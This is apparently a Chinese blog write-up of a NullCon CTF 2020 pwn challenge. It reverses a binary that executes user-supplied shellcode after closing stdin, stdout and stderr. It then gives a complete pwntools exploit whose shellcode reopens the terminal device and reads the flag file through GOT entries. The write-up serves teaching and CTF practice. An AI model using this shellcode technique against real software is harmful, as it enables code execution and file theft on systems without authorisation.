NullConCTF2020

  1. NULLCON CTF Pwn
    1. Note
    2. Reversing
    3. Exploit

NULLCON CTF Pwn

一道关闭stdout 的漏洞利用题。

Note

stdin, stdout, stderrlibc 的三个标准文件的指针,指向的数据结构是_IO_FILE,只有引用了,这些符号才出现在ELF中。_IO_FILE._fileno 的值是文件描述符 fd,三个标准文件对应的 fd0 1 2

fd 是文件描述符。 程序引用文件,文件和 fd 绑定。fd=0 的关联文件可以通过命令file /proc/pid/fd/0查看。0 1 2 关联的文件均是 /dev/pts/xx/dev/pts/xx是当前会话终端设备文件。

Reversing

  1. 申请4页内存,权限rwx
  2. v6 写入字节
  3. child_do 参数为函数指针。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int16 v3; // ax
  __int16 v4; // ax
  __pid_t v5; // [rsp+24h] [rbp-3Ch]
  _BYTE *v6; // [rsp+38h] [rbp-28h]

  v3 = getpagesize();
  v6 = mmap(0LL, ~(v3 - 1) & 0x4000, 7, 34, -1, 0LL);
  if ( !v6 )
    __assert_fail("psc != NULL", "chall.c", 0x5Cu, "int main(int, char **)");
  fflush(stdout);
  v4 = getpagesize();
  v6[(signed int)read(0, v6, ~(v4 - 1) & 0x4000)] = 0xC3u;
  v5 = fork();
  if ( v5 < 0 )
    perror("fork");
  if ( v5 > 0 )
  {
    wait(0LL);
    exit(0);
  }
  child_do((void (__fastcall *)(_QWORD, signed __int64))v6);
  1. 关闭 stdin stdout stderr
  2. /dev/null 设备(device) 映射到 fd 0 1 2
  3. 参数a1 任意代码执行。
void __fastcall __noreturn child_do(void (__fastcall *a1)(_QWORD, signed __int64))
{
  unsigned int fd; // ST24_4

  fclose(stdin);
  fclose(stdout);
  fclose(stderr);
  fd = open("/dev/null", 2);
  dup2(fd, 0);
  dup2(fd, 1);
  dup2(fd, 2);
  a1(fd, 2LL);
  exit(0);
}

Exploit

  1. open("/dev/pts/5",2); fd=3

  2. open("./flag",1); fd=4

  3. read(4,flag,0x20);

  4. ``write(3,flag,0x20);`

   #! env /usr/bin/python
   #coding=utf8
   from pwn import * 

   pr=process('./chall')
   context.arch='amd64'



   def pdbg(p,init='',syms=None):
       context.terminal=['tmux','split','-h']
       dbg_syms=syms
       int_cmds=init
       if syms!=None:
           for each in dbg_syms.keys():
               int_cmds+='set $'+each+'='+str(dbg_syms[each])+'\n'
               print(each,str(dbg_syms[each]))
       gdb.attach(pr,int_cmds)

   #pdbg(pr,'b *0x00400A14')

   # stdout->_fileno=1;
   # stdout->_flags=0xfbad2084;
   #open("/dev/pts/5",2); fd=3
   #open("./flag",1); fd=4
   #read(4,flag,0x20);
   #write(3,flag,0x20);

   #    0x40081a <test10+19>    mov    rax, qword ptr [rip + 0x20085f] <0x601080>
   #  ► 0x400821 <test10+26>    mov    dword ptr [rax + 0x70], 1 <0x7ffff7dd07d0>
   #    0x400828 <test10+33>    mov    rax, qword ptr [rip + 0x200851] <0x601080>
   #    0x40082f <test10+40>    mov    dword ptr [rax], 0xfbad2084

   stdout=0x06010A0
   open_got=0x601050
   write_got=0x601018 

   def Pasm(cmds):
       res=''
       for each in cmds:
           res += asm(each)
       return res

   payload = Pasm(
       [
           'mov rdx, 0x00352f',#open("/dev/pts/5",2); fd=3
           'push rdx',
           'mov rdx, 0x7374702f7665642f',
           "push rdx",
           'mov rdi,rsp',
           'mov rsi,2',
           "mov rax,qword ptr[0x601050]",
           "call rax" ,

           'mov rdx,0x067616c662f2e',
           'push rdx',
           'mov rdi,rsp',
           'mov rsi,0',
           'mov rax,qword ptr[0x601050]',
           "call rax",

           'mov rdx,0x20',
           'mov rdi,0x4',
           'mov rsi,0x6015a0',
           'mov rax,qword ptr[0x601040]',
           'call rax',

           'mov rsi,0x6015a0',
           'mov rdi, 3',
           'mov rdx,0x20',
           'mov rax,qword ptr[0x601018]',
           'call rax'
       ]
   )


   pr.send(payload)
   pr.interactive()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:NullConCTF2020

本文作者:枫云李

发布时间:2020-02-10, 00:00:00

最后更新:2020-04-11, 01:16:08

原始链接:https://primelyw.github.io/2020/02/10/NullConCTF2020/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github